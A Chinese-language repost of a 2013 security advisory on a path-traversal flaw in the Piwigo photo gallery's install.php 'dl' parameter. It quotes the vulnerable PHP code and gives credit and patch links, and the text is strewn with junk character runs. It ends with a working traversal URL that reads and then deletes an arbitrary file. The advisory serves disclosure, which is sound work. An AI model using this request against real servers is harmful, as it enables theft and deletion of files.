Piwigo是用PHP编写的相册脚本。" G {. K- P7 O, P2 b& u% o
9 X* ^8 H5 c' X6 N4 o9 g( j' DPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。4 E6 y. ]' Q( E) J) [, g9 r0 ^/ y
====================================================================" q6 {$ `7 m% k, R8 T, h
/install.php:# U3 g, D0 i7 A! Q0 _$ h
-------------1 R( U2 f' e& @: e8 M; d T! q
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
) ^8 F# j J+ r6 _114: {
: x: B$ `) u% L8 y! U- y115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];8 \' o+ r1 w6 `4 p4 Z& y$ M
116: header('Cache-Control: no-cache, must-revalidate');
3 |7 Y4 k3 k8 Z3 j. |" k4 j117: header('Pragma: no-cache');
0 U$ s a" ~0 R118: header('Content-Disposition: attachment; filename="database.inc.php"');
% a# r& [1 V n9 S! a119: header('Content-Transfer-Encoding: binary');; ?/ c* O2 \% f0 Z* T
120: header('Content-Length: '.filesize($filename));& w. Z, E) Y4 I4 k% K/ C# l1 q; {
121: echo file_get_contents($filename);% h% ^0 D7 d3 \+ _
122: unlink($filename);
6 e: I4 G' V4 N( c123: exit();
4 c( U3 s" p* ?: }% d, T# K1 F124: }
7 V& L' Z4 m2 q' [2 `: u% W====================================================================7 S6 f7 |& h. T
2 P+ L. K3 X1 Q# G! w- W5 x
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
+ `7 p! O H. ]( s% [ Apache 2.4.2 (Win32)5 L8 J) k! c* l4 z% Z
PHP 5.4.4
9 E, {- p1 E4 m3 Q" s4 q+ E MySQL 5.5.25a B, _! M4 o9 K' ~7 Y* S3 I# V" E9 l
7 \5 X/ Q) a, s0 d9 V% S
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
1 l% y- v e6 g4 Q ^ @zeroscience. `# C' F+ {; ~! {
* ^9 f# y/ f9 l
Advisory ID: ZSL-2013-5127
$ V( V2 O* u8 oAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php5 v5 ?* A1 w5 s/ Y6 y H0 O9 [9 a
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843" o; U& @2 [0 H9 E: V2 D9 V
* [8 z0 `* N* p$ h( [+ n
15.02.2013( @: f9 I* S0 L5 \) \' L5 G" b
: ~0 A* c6 ^; ^3 j& B0 C--! I6 A3 h0 r' y# s. e4 b
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt: J# ~' _; }- W! j O k
( U! x5 M) K" m+ X! }4 T# a |